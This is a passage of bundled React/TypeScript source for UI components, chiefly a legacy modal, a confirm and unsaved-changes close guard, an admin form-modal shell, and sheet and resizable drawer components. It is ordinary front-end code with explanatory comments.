\"react\"\nimport { useEffect } from \"react\"\nimport { usePreventScroll } from \"@react-aria/overlays\"\nimport { cn } from \"../../utils/cn\"\n\n/**\n * Sizing and the two-column editor layout moved to `ModalV2` (`size` prop +\n * `ModalV2TwoColumn`), which is where the focus trap, Escape stacking and\n * keyboard-inset handling already live. The class-string constants this file\n * used to export were copied per call site and drifted; a component owns the\n * scroll model instead. What remains here is the compact legacy dialog used by\n * the confirm modals that have not moved yet.\n */\ninterface ModalProps {\n  isOpen: boolean\n  onClose: () => void\n  children: React.ReactNode\n  className?: string\n}\n\ninterface ModalContentProps {\n  children: React.ReactNode\n  className?: string\n}\n\ninterface ModalHeaderProps {\n  children: React.ReactNode\n  className?: string\n}\n\ninterface ModalTitleProps {\n  children: React.ReactNode\n  className?: string\n}\n\ninterface ModalFooterProps {\n  children: React.ReactNode\n  className?: string\n}\n\n/** @deprecated Use ModalV2 from './modal-v2' instead. */\nconst Modal = React.forwardRef<HTMLDivElement, ModalProps>(\n  ({ isOpen, onClose, children, className }, ref) => {\n    // Shared ref-counted scroll lock (react-aria) — restores prior styles on\n    // release instead of clobbering to 'unset'.\n    usePreventScroll({ isDisabled: !isOpen })\n\n    // Handle Escape key (document-level: top-of-stack semantics for modals)\n    useEffect(() => {\n      const handleKeyDown = (event: KeyboardEvent) => {\n        if (event.key === 'Escape') {\n          onClose()\n        }\n      }\n\n      if (isOpen) {\n        document.addEventListener('keydown', handleKeyDown)\n        return () => document.removeEventListener('keydown', handleKeyDown)\n      }\n    }, [isOpen, onClose])\n\n    if (!isOpen) return null\n\n    return (\n      <div className=\"fixed inset-0 z-[1300] flex items-center justify-center\">\n        <div \n          className=\"absolute inset-0 bg-ods-overlay\"\n          onClick={onClose}\n          aria-hidden=\"true\"\n        />\n        <div \n          ref={ref}\n          className={cn(\n            \"relative z-10 w-full mx-4 max-w-md max-h-[90vh] flex flex-col overflow-hidden bg-ods-card border border-ods-border rounded-lg shadow-xl\",\n            className\n          )}\n          role=\"dialog\"\n          aria-modal=\"true\"\n        >\n          {children}\n        </div>\n      </div>\n    )\n  }\n)\nModal.displayName = \"Modal\"\n\n/** @deprecated Use ModalV2Content from './modal-v2' instead. */\nconst ModalContent = React.forwardRef<HTMLDivElement, ModalContentProps>(\n  ({ children, className }, ref) => (\n    <div ref={ref} className={cn(\"overflow-y-auto min-h-0 flex-1\", className)}>\n      {children}\n    </div>\n  )\n)\nModalContent.displayName = \"ModalContent\"\n\n/** @deprecated Use ModalV2Header from './modal-v2' instead. */\nconst ModalHeader = React.forwardRef<HTMLDivElement, ModalHeaderProps>(\n  ({ children, className }, ref) => (\n    <div \n      ref={ref} \n      className={cn(\"px-6 py-4 border-b border-ods-border shrink-0\", className)}\n    >\n      {children}\n    </div>\n  )\n)\nModalHeader.displayName = \"ModalHeader\"\n\n/** @deprecated Use ModalV2Title from './modal-v2' instead. */\nconst ModalTitle = React.forwardRef<HTMLHeadingElement, ModalTitleProps>(\n  ({ children, className }, ref) => (\n    <h2 \n      ref={ref}\n      className={cn(\"text-ods-text-primary font-semibold\", className)}\n    >\n      {children}\n    </h2>\n  )\n)\nModalTitle.displayName = \"ModalTitle\"\n\n/** @deprecated Use ModalV2Footer from './modal-v2' instead. */\nconst ModalFooter = React.forwardRef<HTMLDivElement, ModalFooterProps>(\n  ({ children, className }, ref) => (\n    <div \n      ref={ref}\n      className={cn(\"px-6 py-4 flex justify-end gap-3 shrink-0\", className)}\n    >\n      {children}\n    </div>\n  )\n)\nModalFooter.displayName = \"ModalFooter\"\n\nexport {\n  Modal,\n  ModalContent, \n  ModalFooter, \n  ModalHeader,\n  ModalTitle\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Button } from './button'\nimport {\n  ModalV2,\n  ModalV2Content,\n  ModalV2Footer,\n  ModalV2Header,\n  ModalV2Title\n} from './modal-v2'\n\n/**\n * The unified dirty-state contract for modals: a promise-based house confirm\n * (`useConfirm`), a close guard that asks before discarding unsaved edits\n * (`useGuardedClose`), and the standing \"Unsaved changes\" footer chip\n * (`UnsavedChangesChip`). Form-modal shells compose these three instead of\n * reimplementing the affordance — closing a dirty form must never silently\n * discard the edits, and the chip is the standing signal that edits exist.\n */\n\n/**\n * State-driven confirm dialog using `ModalV2` — the house replacement for\n * `window.confirm`. `ask(title, body)` returns a `Promise<boolean>`; the\n * consumer awaits the user's choice and then proceeds. The returned `dialog`\n * element MUST be rendered in the host's JSX (inside the host modal is fine —\n * `ModalV2` stacks).\n *\n * Concurrency: a second `ask` while a dialog is already open resolves `false`\n * immediately — without the guard the second `setPending` would overwrite the\n * first entry and the first Promise would hang forever. The ref-based\n * in-flight flag also covers two synchronous `ask()` calls in the same render\n * tick, which `useState` alone races.\n */\nexport function useConfirm() {\n  const [open, setOpen] = React.useState(false)\n  const [pending, setPending] = React.useState<{\n    title: string\n    body: string\n    resolve: (ok: boolean) => void\n  } | null>(null)\n  const askingRef = React.useRef(false)\n  // Mirror of the active request, so unmount cleanup can settle it without\n  // depending on (already-frozen) state.\n  const pendingRef = React.useRef<{ resolve: (ok: boolean) => void } | null>(null)\n  const ask = React.useCallback((title: string, body: string) => {\n    return new Promise<boolean>((resolve) => {\n      if (askingRef.current) {\n        resolve(false)\n        return\n      }\n      askingRef.current = true\n      const entry = { title, body, resolve }\n      pendingRef.current = entry\n      setPending(entry)\n      setOpen(true)\n    })\n  }, [])\n  const decide = React.useCallback(\n    (ok: boolean) => {\n      askingRef.current = false\n      // Clear the ref FIRST so a later unmount cleanup can't re-resolve a\n      // request the user already decided.\n      pendingRef.current = null\n      setOpen(false)\n      pending?.resolve(ok)\n      setPending(null)\n    },\n    [pending]\n  )\n  // Host unmounted while the confirmation was open: the decision UI is gone,\n  // so settle the promise as \"no\" — otherwise the caller awaits forever.\n  React.useEffect(\n    () => () => {\n      pendingRef.current?.resolve(false)\n      pendingRef.current = null\n      askingRef.current = false\n    },\n    []\n  )\n\n  const dialog = pending ? (\n    <ModalV2 isOpen={open} onClose={() => decide(false)}>\n      <ModalV2Header>\n        <ModalV2Title>{pending.title}</ModalV2Title>\n      </ModalV2Header>\n      <ModalV2Content>\n        <p className=\"text-h6 text-ods-text-secondary\">{pending.body}</p>\n      </ModalV2Content>\n      <ModalV2Footer>\n        <Button variant=\"outline\" onClick={() => decide(false)}>\n          Cancel\n        </Button>\n        <Button variant=\"destructive\" onClick={() => decide(true)}>\n          Confirm\n        </Button>\n      </ModalV2Footer>\n    </ModalV2>\n  ) : null\n\n  return { ask, dialog }\n}\n\nexport interface UseGuardedCloseOptions {\n  /** Confirm dialog title. */\n  title?: string\n  /** Confirm dialog body. */\n  body?: string\n}\n\n/**\n * Close guard for dirty forms: `guardedClose` runs `onClose` directly while\n * clean, and asks the house confirm first once `dirty` — wire it to the\n * modal's `onClose` AND the Cancel button so every dismissal path is guarded.\n * Render the returned `dialog` in the host's JSX.\n */\nexport function useGuardedClose(\n  dirty: boolean,\n  onClose: () => void,\n  {\n    title = 'Discard unsaved changes?',\n    body = 'Your edits have not been saved. Close and discard them?'\n  }: UseGuardedCloseOptions = {}\n) {\n  const { ask, dialog } = useConfirm()\n  const guardedClose = React.useCallback(async () => {\n    if (dirty && !(await ask(title, body))) return\n    onClose()\n  }, [dirty, ask, title, body, onClose])\n  return { guardedClose, dialog }\n}\n\nexport interface UnsavedChangesChipProps {\n  /** Names WHAT is dirty (hover tooltip) — turns \"why is this dirty?!\" into a hover. */\n  detail?: string\n  className?: string\n}\n\n/** The standing \"Unsaved changes\" signal for a dirty modal's footer. */\nexport function UnsavedChangesChip({ detail, className }: UnsavedChangesChipProps) {\n  return (\n    <span\n      className={cn('text-h6 text-ods-warning', className)}\n      role=\"status\"\n      title={detail}\n    >\n      Unsaved changes\n    </span>\n  )\n}\n","'use client';\n\nimport { useId, type ReactNode } from 'react';\nimport { Button } from './button';\nimport {\n  ModalV2,\n  ModalV2Content,\n  ModalV2Footer,\n  ModalV2Header,\n  ModalV2Title,\n  ModalV2TwoColumn,\n  type ModalV2Size,\n} from './modal-v2';\nimport { Skeleton } from './skeleton';\nimport { UnsavedChangesChip, useGuardedClose } from './modal-guarded-close';\n\n/**\n * Label widths for the loading placeholder. Uneven on purpose — a column of\n * identical bars reads as a rendering artifact rather than a form arriving.\n */\nconst SKELETON_FIELD_WIDTHS = ['w-24', 'w-32', 'w-20', 'w-40', 'w-28', 'w-36'];\n\n/** Layout: pass `children` for one column, or `leftColumn`+`rightColumn` for two. */\ntype AdminFormModalLayout =\n  | { children: ReactNode; leftColumn?: never; rightColumn?: never }\n  | { leftColumn: ReactNode; rightColumn: ReactNode; children?: never };\n\ntype AdminFormModalBaseProps = {\n  title: ReactNode;\n  /** Secondary line under the title (what this record is, why it matters). */\n  subtitle?: ReactNode;\n  isOpen: boolean;\n  onClose: () => void;\n  onSave: () => void;\n  saveLabel: string;\n  canSave?: boolean;\n  saving?: boolean;\n  /**\n   * The entity is still being fetched — the modal was opened from a URL on a\n   * cold load, so there is no list row to borrow from. Content is hidden behind\n   * a placeholder and Save is held until the form has real values to submit.\n   */\n  loading?: boolean;\n  error?: string | null;\n  /**\n   * Placeholder to show while `loading`, for modals whose body is NOT a field\n   * grid. The default bars imply a form; a modal that resolves into a list or a\n   * table would visibly change shape when the data lands.\n   */\n  loadingContent?: ReactNode;\n  /** Secondary actions pinned to the footer's LEFT edge (Delete, Preview…). */\n  footerExtras?: ReactNode;\n  /**\n   * Additional PRIMARY actions, rendered next to Save (Publish, Mark\n   * Complete…). A second primary action put in `footerExtras` lands at the far\n   * left, a whole modal-width away from the button it belongs beside.\n   */\n  footerActions?: ReactNode;\n  /** Status text between the extras and the buttons (e.g. \"3 rules selected\"). */\n  footerStatus?: ReactNode;\n  /** Unsaved edits exist: shows the footer chip and guards close with a confirm. */\n  dirty?: boolean;\n  /** Names WHAT is dirty (chip tooltip) — turns \"why is this dirty?!\" into a hover. */\n  dirtyDetail?: string;\n  /**\n   * Panel width. Two-column layouts are always `wide` — passing\n   * `leftColumn`/`rightColumn` upgrades this automatically.\n   */\n  size?: ModalV2Size;\n  contentClassName?: string;\n};\n\n/**\n * THE admin form-modal shell: header, scrolling content (one column or two), an\n * error line, and a Cancel/Save footer with optional extra actions.\n *\n * Every admin form modal renders this rather than reassembling `ModalV2` +\n * header + footer by hand. Three copies of the same shell had already been\n * written in one feature (repo form, rule form, bindings), which is how the\n * Save button ends up saying \"Saving…\" in one place and spinning silently in\n * another.\n *\n * Width is a `size` variant, never a call-site `max-w-*` — the widths had\n * drifted across seven values (`max-w-md` through `max-w-[1400px]`) for modals\n * doing the same job.\n */\nexport function AdminFormModal({\n  title,\n  subtitle,\n  isOpen,\n  onClose,\n  onSave,\n  saveLabel,\n  canSave = true,\n  saving = false,\n  loading = false,\n  error = null,\n  loadingContent,\n  footerExtras,\n  footerActions,\n  footerStatus,\n  dirty = false,\n  dirtyDetail,\n  size,\n  contentClassName = 'space-y-[var(--spacing-system-lf)]',\n  children,\n  leftColumn,\n  rightColumn,\n}: AdminFormModalBaseProps & AdminFormModalLayout) {\n  const twoColumn = leftColumn !== undefined && rightColumn !== undefined;\n  const effectiveSize: ModalV2Size = twoColumn ? 'wide' : (size ?? 'medium');\n  /** Placeholder column count follows the panel width so the skeleton occupies\n   *  the same shape the real content will. */\n  const skeletonColumns = effectiveSize === 'wide' ? 2 : 1;\n  const formId = useId();\n  // The lib's unified dirty-state contract: closing a dirty settings form must\n  // never silently discard the edits — `useGuardedClose` asks the house\n  // confirm (ModalV2, never window.confirm) before running `onClose`.\n  const { guardedClose, dialog } = useGuardedClose(dirty, onClose, {\n    title: 'Discard unsaved changes?',\n    body: 'Your edits have not been saved. Close and discard them?',\n  });\n  // NO field autofocus here. `ModalV2` owns focus now (focus-in on open, focus\n  // containment while topmost, Tab trap, restore to the opener), so the shell\n  // reaching in to focus \"the first field\" only fought it — and picked widgets\n  // that ACT on focus: the author selector's combobox opened its popover on\n  // every `?edit=<id>` load, and on a cold URL load the programmatic focus had\n  // no preceding pointer event, so the UA painted a focus ring too. Focus lands\n  // on the dialog itself, which is the correct dialog behavior; the first Tab\n  // reaches the first field.\n  if (!isOpen) return null;\n\n  return (\n    <ModalV2 isOpen onClose={guardedClose} size={effectiveSize}>\n      <ModalV2Header>\n        <ModalV2Title>{title}</ModalV2Title>\n        {/* A <div>, not a <p>. `subtitle` is a ReactNode and callers legitimately\n            pass badges and chips — `Badge` renders a <div>, which is invalid\n            inside <p>. The browser then re-parents it during hydration and React\n            throws a mismatch (seen on role-baselines, whose subtitle carries a\n            weight Badge). Typography is unchanged. */}\n        {subtitle && (\n          <div className=\"text-h6 text-ods-text-secondary\">{subtitle}</div>\n        )}\n      </ModalV2Header>\n\n      {/* A real <form>: Enter in a text input previously did nothing in every\n          admin modal routed through this shell. */}\n      <form\n        id={formId}\n        // Inherit the ModalV2 flex chain — an unstyled form between the shell\n        // and ModalV2Content made flex-1/min-h-0 inert, so tall modals pushed\n        // the Cancel/Save footer past 90vh.\n        className=\"flex min-h-0 flex-1 flex-col\"\n\n        onSubmit={(e) => {\n          e.preventDefault();\n          if (canSave && !saving) onSave();\n        }}\n        // Some modals contain a FILTER input, not a form field. Enter there must\n        // not ship the save — in the bindings modal that would commit an\n        // absolute-state rule-set replacement mid-search.\n        onKeyDown={(e) => {\n          if (\n            e.key === 'Enter' &&\n            (e.target as HTMLElement)?.dataset?.noSubmitOnEnter === 'true'\n          ) {\n            e.preventDefault();\n          }\n        }}\n      >\n        {loading ? (\n          // NOT `contentClassName` — that describes the real content's layout\n          // (master-detail modals pass `flex`, which turns the placeholder into\n          // a shrink-to-fit flex item pinned to the left of a 1400px panel).\n          // The placeholder owns its own layout and mirrors the column count so\n          // the modal doesn't visibly re-flow when the entity lands.\n          <ModalV2Content>\n            {loadingContent ? (\n              <div aria-busy=\"true\">{loadingContent}</div>\n            ) : (\n            <div\n              aria-busy=\"true\"\n              className={\n                // Mirrors the PANEL WIDTH, not the slot API. `wide` covers the\n                // master-detail modals too (seo-redirect, managed-repo,\n                // exclusions) — they pass `children`, so keying on `twoColumn`\n                // drew one column of full-width bars across 1400px, which reads\n                // as a broken form rather than a loading one.\n                skeletonColumns === 2\n                  ? 'grid grid-cols-1 gap-[var(--spacing-system-xl)] lg:grid-cols-2'\n                  : 'grid grid-cols-1 gap-[var(--spacing-system-xl)]'\n              }\n            >\n              <span className=\"sr-only\">Loading…</span>\n              {Array.from({ length: skeletonColumns }, (_, col) => (\n                <div key={col} className=\"space-y-[var(--spacing-system-lf)]\" aria-hidden=\"true\">\n                  {SKELETON_FIELD_WIDTHS.map((labelWidth, i) => (\n                    <div key={i} className=\"space-y-[var(--spacing-system-xsf)]\">\n                      <Skeleton className={`h-4 ${labelWidth}`} />\n                      <Skeleton className=\"h-10 w-full\" />\n                    </div>\n                  ))}\n                </div>\n              ))}\n            </div>\n            )}\n          </ModalV2Content>\n        ) : twoColumn ? (\n          <ModalV2TwoColumn left={leftColumn} right={rightColumn} />\n        ) : (\n          <ModalV2Content className={contentClassName}>{children}</ModalV2Content>\n        )}\n        {/* Outside the scrolling region(s): in a two-column modal an error\n            belongs to the save, not to either column, and must stay visible\n            wherever each column happens to be scrolled to. */}\n        {error && (\n          <p role=\"alert\" className=\"text-h6 text-ods-error shrink-0\">\n            {error}\n          </p>\n        )}\n      </form>\n\n      <ModalV2Footer>\n        <div className=\"flex w-full items-center justify-between gap-[var(--spacing-system-xsf)]\">\n          <div className=\"flex items-center gap-[var(--spacing-system-xsf)]\">{footerExtras}</div>\n          <div className=\"flex items-center gap-[var(--spacing-system-xsf)]\">\n            {footerStatus}\n            {dirty && <UnsavedChangesChip detail={dirtyDetail} />}\n            {footerActions}\n            <Button variant=\"outline\" size=\"small-legacy\" onClick={guardedClose} disabled={saving}>\n              Cancel\n            </Button>\n            <Button\n              size=\"small-legacy\"\n              type=\"submit\"\n              form={formId}\n              // NO `onClick` — the `form` association is the single activation\n              // path. Carrying both fired `onSave()` twice per click (the click\n              // handler, then the form's default submit), and the pending-state\n              // guard cannot catch it because React Query's re-render happens a\n              // microtask later. On the create path that meant two POSTs and two\n              // registry rows with the same name.\n              loading={saving}\n              disabled={saving || loading || !canSave}\n            >\n              {saveLabel}\n            </Button>\n          </div>\n        </div>\n      </ModalV2Footer>\n      {dialog}\n    </ModalV2>\n  );\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as SeparatorPrimitive from \"@radix-ui/react-separator\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst Separator = React.forwardRef<\n  React.ElementRef<typeof SeparatorPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof SeparatorPrimitive.Root>\n>(({ className, orientation = \"horizontal\", decorative = true, ...props }, ref) => (\n  <SeparatorPrimitive.Root\n    ref={ref}\n    decorative={decorative}\n    orientation={orientation}\n    className={cn(\"shrink-0 bg-border\", orientation === \"horizontal\" ? \"h-[1px] w-full\" : \"h-full w-[1px]\", className)}\n    {...props}\n  />\n))\nSeparator.displayName = SeparatorPrimitive.Root.displayName\n\nexport { Separator }\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as SheetPrimitive from \"@radix-ui/react-dialog\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\nimport { X } from \"lucide-react\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst Sheet = SheetPrimitive.Root\n\nconst SheetTrigger = SheetPrimitive.Trigger\n\nconst SheetClose = SheetPrimitive.Close\n\nconst SheetPortal = SheetPrimitive.Portal\n\nconst SheetOverlay = React.forwardRef<\n  React.ElementRef<typeof SheetPrimitive.Overlay>,\n  React.ComponentPropsWithoutRef<typeof SheetPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n  <SheetPrimitive.Overlay\n    className={cn(\n      \"fixed inset-0 z-[9997] bg-ods-overlay  data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n      className\n    )}\n    {...props}\n    ref={ref}\n  />\n))\nSheetOverlay.displayName = SheetPrimitive.Overlay.displayName\n\nconst sheetVariants = cva(\n  \"fixed z-[9998] gap-4 bg-background p-6 shadow-lg transition ease-in-out data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:duration-300 data-[state=open]:duration-500\",\n  {\n    variants: {\n      side: {\n        top: \"inset-x-0 top-0 border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top\",\n        bottom:\n          \"inset-x-0 bottom-0 border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom\",\n        left: \"inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left md:max-w-sm\",\n        right:\n          \"inset-y-0 right-0 h-full w-3/4  border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right md:max-w-sm\",\n      },\n    },\n    defaultVariants: {\n      side: \"right\",\n    },\n  }\n)\n\ninterface SheetContentProps\n  extends React.ComponentPropsWithoutRef<typeof SheetPrimitive.Content>,\n    VariantProps<typeof sheetVariants> {}\n\nconst SheetContent = React.forwardRef<\n  React.ElementRef<typeof SheetPrimitive.Content>,\n  SheetContentProps\n>(({ side = \"right\", className, children, ...props }, ref) => (\n  <SheetPortal>\n    <SheetOverlay />\n    <SheetPrimitive.Content\n      ref={ref}\n      className={cn(sheetVariants({ side }), className)}\n      {...props}\n    >\n      {children}\n      <SheetPrimitive.Close className=\"absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-secondary\">\n        <X className=\"h-4 w-4\" />\n        <span className=\"sr-only\">Close</span>\n      </SheetPrimitive.Close>\n    </SheetPrimitive.Content>\n  </SheetPortal>\n))\nSheetContent.displayName = SheetPrimitive.Content.displayName\n\nconst SheetHeader = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n  <div\n    className={cn(\n      \"flex flex-col space-y-2 text-center md:text-left\",\n      className\n    )}\n    {...props}\n  />\n)\nSheetHeader.displayName = \"SheetHeader\"\n\nconst SheetFooter = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n  <div\n    className={cn(\n      \"flex flex-col-reverse md:flex-row md:justify-end md:space-x-2\",\n      className\n    )}\n    {...props}\n  />\n)\nSheetFooter.displayName = \"SheetFooter\"\n\nconst SheetTitle = React.forwardRef<\n  React.ElementRef<typeof SheetPrimitive.Title>,\n  React.ComponentPropsWithoutRef<typeof SheetPrimitive.Title>\n>(({ className, ...props }, ref) => (\n  <SheetPrimitive.Title\n    ref={ref}\n    className={cn(\"text-h3 text-foreground\", className)}\n    {...props}\n  />\n))\nSheetTitle.displayName = SheetPrimitive.Title.displayName\n\nconst SheetDescription = React.forwardRef<\n  React.ElementRef<typeof SheetPrimitive.Description>,\n  React.ComponentPropsWithoutRef<typeof SheetPrimitive.Description>\n>(({ className, ...props }, ref) => (\n  <SheetPrimitive.Description\n    ref={ref}\n    className={cn(\"text-h6 text-muted-foreground\", className)}\n    {...props}\n  />\n))\nSheetDescription.displayName = SheetPrimitive.Description.displayName\n\nexport {\n  Sheet,\n  SheetPortal,\n  SheetOverlay,\n  SheetTrigger,\n  SheetClose,\n  SheetContent,\n  SheetHeader,\n  SheetFooter,\n  SheetTitle,\n  SheetDescription,\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as DialogPrimitive from \"@radix-ui/react-dialog\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\nimport { X } from \"lucide-react\"\n\nimport { cn } from \"../../utils/cn\"\nimport { useHeaderHeight } from \"../../hooks/ui/use-header-height\"\n\n/** Unified overlay backdrop — dimmed, no blur. Single source of truth for\n *  every full-screen backdrop (Drawer, AppLayoutDrawer, MobileBurgerMenu,\n *  TimeTracker popover) so all panels dim the page identically. */\nconst OVERLAY_BACKDROP_CLASS = \"bg-ods-overlay\"\n\nconst Drawer = DialogPrimitive.Root\n\nconst DrawerTrigger = DialogPrimitive.Trigger\n\nconst DrawerClose = DialogPrimitive.Close\n\nconst DrawerPortal = DialogPrimitive.Portal\n\nconst DrawerOverlay = React.forwardRef<\n  React.ComponentRef<typeof DialogPrimitive.Overlay>,\n  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n  <DialogPrimitive.Overlay\n    ref={ref}\n    className={cn(\n      \"fixed inset-0 z-[9997] outline-none focus:outline-none focus-visible:outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n      OVERLAY_BACKDROP_CLASS,\n      className\n    )}\n    {...props}\n  />\n))\nDrawerOverlay.displayName = \"DrawerOverlay\"\n\nconst drawerVariants = cva(\n  \"fixed z-[9998] flex outline-none focus:outline-none focus-visible:outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:duration-300 data-[state=open]:duration-300\",\n  {\n    variants: {\n      side: {\n        right:\n          \"inset-y-0 right-0 items-center data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right\",\n        left:\n          \"inset-y-0 left-0 items-center data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left\",\n        top:\n          \"inset-x-0 top-0 justify-center data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top\",\n        bottom:\n          \"inset-x-0 bottom-0 justify-center data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom\",\n      },\n      flush: {\n        false: \"\",\n        true: \"\",\n      },\n    },\n    compoundVariants: [\n      { side: \"right\", flush: false, class: \"pr-4 py-4\" },\n      { side: \"left\", flush: false, class: \"pl-4 py-4\" },\n      { side: \"top\", flush: false, class: \"pt-4 px-4\" },\n      { side: \"bottom\", flush: false, class: \"pb-4 px-4\" },\n      // flush=true → same wrapper padding as default on desktop so the\n      // panel floats with a uniform 16px gap; on mobile (< md) the\n      // padding is dropped so the panel can be full-bleed.\n      // `flush` controls panel chrome (rounded/border/inner-padding),\n      // NOT wrapper positioning — those concerns are independent.\n      { side: \"right\", flush: true, class: \"md:pr-4 md:py-4\" },\n      { side: \"left\", flush: true, class: \"md:pl-4 md:py-4\" },\n      { side: \"top\", flush: true, class: \"md:pt-4 md:px-4\" },\n      { side: \"bottom\", flush: true, class: \"md:pb-4 md:px-4\" },\n    ],\n    defaultVariants: {\n      side: \"right\",\n      flush: false,\n    },\n  }\n)\n\nconst drawerPanelVariants = cva(\n  \"relative flex flex-col overflow-hidden bg-ods-card outline-none focus:outline-none focus-visible:outline-none\",\n  {\n    variants: {\n      side: {\n        right: \"h-full\",\n        left: \"h-full\",\n        top: \"w-full\",\n        bottom: \"w-full\",\n      },\n      flush: {\n        false: \"gap-4 rounded-md border border-ods-border p-4\",\n        true: \"\",\n      },\n    },\n    compoundVariants: [\n      // flush=true → drops inner padding/gap so the consumer fully owns\n      // internal layout, BUT preserves the card chrome (rounded + border)\n      // on desktop so the panel still reads as an elevated card.\n      // On mobile the panel is full-bleed → no rounded/border there.\n      { side: \"right\", flush: true, class: \"md:rounded-md md:border md:border-ods-border\" },\n      { side: \"left\", flush: true, class: \"md:rounded-md md:border md:border-ods-border\" },\n      { side: \"top\", flush: true, class: \"md:rounded-md md:border md:border-ods-border\" },\n      { side: \"bottom\", flush: true, class: \"md:rounded-md md:border md:border-ods-border\" },\n    ],\n    defaultVariants: {\n      side: \"right\",\n      flush: false,\n    },\n  }\n)\n\ntype DrawerSide = \"right\" | \"left\" | \"top\" | \"bottom\"\n\nconst HORIZONTAL_SIDES: ReadonlySet<DrawerSide> = new Set([\"left\", \"right\"])\n\nfunction clamp(value: number, min: number, max: number): number {\n  if (max < min) return min\n  return Math.min(max, Math.max(min, value))\n}\n\nfunction viewportSize(isHorizontal: boolean): number {\n  if (typeof window === \"undefined\") return 0\n  return isHorizontal ? window.innerWidth : window.innerHeight\n}\n\ninterface UseResizableSizeArgs {\n  enabled: boolean\n  isHorizontal: boolean\n  minSize: number\n  maxSize: number\n  defaultSize: number\n  storageKey?: string\n}\n\nfunction useResizableSize({\n  enabled,\n  isHorizontal,\n  minSize,\n  maxSize,\n  defaultSize,\n  storageKey,\n}: UseResizableSizeArgs) {\n  const clampToViewport = React.useCallback(\n    (value: number) => {\n      const vp = viewportSize(isHorizontal)\n      const effectiveMax = vp > 0 ? Math.min(maxSize, vp - 80) : maxSize\n      return clamp(value, minSize, Math.max(minSize, effectiveMax))\n    },\n    [isHorizontal, minSize, maxSize],\n  )\n\n  const readInitial = React.useCallback(() => {\n    if (!enabled) return defaultSize\n    if (typeof window === \"undefined\") return defaultSize\n    if (!storageKey) return clampToViewport(defaultSize)\n    try {\n      const raw = window.localStorage.getItem(storageKey)\n      if (!raw) return clampToViewport(defaultSize)\n      const parsed = parseFloat(raw)\n      if (!Number.isFinite(parsed)) return clampToViewport(defaultSize)\n      return clampToViewport(parsed)\n    } catch {\n      return clampToViewport(defaultSize)\n    }\n  }, [enabled, storageKey, defaultSize, clampToViewport])\n\n  const [size, setSizeRaw] = React.useState<number>(readInitial)\n\n  const setSize = React.useCallback(\n    (next: number) => setSizeRaw(clampToViewport(next)),\n    [clampToViewport],\n  )\n\n  React.useEffect(() => {\n    if (!enabled || !storageKey || typeof window === \"undefined\") return\n    try {\n      window.localStorage.setItem(storageKey, String(Math.round(size)))\n    } catch {\n      // ignore quota / disabled-storage\n    }\n  }, [enabled, size, storageKey])\n\n  React.useEffect(() => {\n    if (!enabled || typeof window === \"undefined\") return\n    const onResize = () => setSizeRaw((prev) => clampToViewport(prev))\n    window.addEventListener(\"resize\", onResize)\n    return () => window.removeEventListener(\"resize\", onResize)\n  }, [enabled, clampToViewport])\n\n  return { size, setSize }\n}\n\ninterface DrawerResizeHandleProps {\n  side: DrawerSide\n  size: number\n  minSize: number\n  maxSize: number\n  onSize: (next: number) => void\n  ariaLabel?: string\n}\n\nfunction DrawerResizeHandle({\n  side,\n  size,\n  minSize,\n  maxSize,\n  onSize,\n  ariaLabel,\n}: DrawerResizeHandleProps) {\n  const isHorizontal = HORIZONTAL_SIDES.has(side)\n  const startRef = React.useRef<{ x: number; y: number; size: number } | null>(\n    null,\n  )\n\n  const direction = side === \"right\" || side === \"bottom\" ? -1 : 1\n\n  const handlePointerDown = (e: React.PointerEvent<HTMLDivElement>) => {\n    if (e.button !== 0 && e.pointerType === \"mouse\") return\n    e.preventDefault()\n    startRef.current = { x: e.clientX, y: e.clientY, size }\n    e.currentTarget.setPointerCapture(e.pointerId)\n    document.body.style.cursor = isHorizontal ? \"col-resize\" : \"row-resize\"\n    document.body.style.userSelect = \"none\"\n  }\n\n  const handlePointerMove = (e: React.PointerEvent<HTMLDivElement>) => {\n    const start = startRef.current\n    if (!start) return\n    const delta = isHorizontal ? e.clientX - start.x : e.clientY - start.y\n    onSize(start.size + delta * direction)\n  }\n\n  const endDrag = (e: React.PointerEvent<HTMLDivElement>) => {\n    if (!startRef.current) return\n    startRef.current = null\n    try {\n      e.currentTarget.releasePointerCapture(e.pointerId)\n    } catch {\n      // ignore — pointer may already be released\n    }\n    document.body.style.cursor = \"\"\n    document.body.style.userSelect = \"\"\n  }\n\n  const handleKeyDown = (e: React.KeyboardEvent<HTMLDivElement>) => {\n    const step = e.shiftKey ? 40 : 16\n    if (isHorizontal) {\n      if (e.key === \"ArrowLeft\") {\n        e.preventDefault()\n        onSize(size + step * (side === \"right\" ? 1 : -1))\n      } else if (e.key === \"ArrowRight\") {\n        e.preventDefault()\n        onSize(size + step * (side === \"right\" ? -1 : 1))\n      }\n    } else {\n      if (e.key === 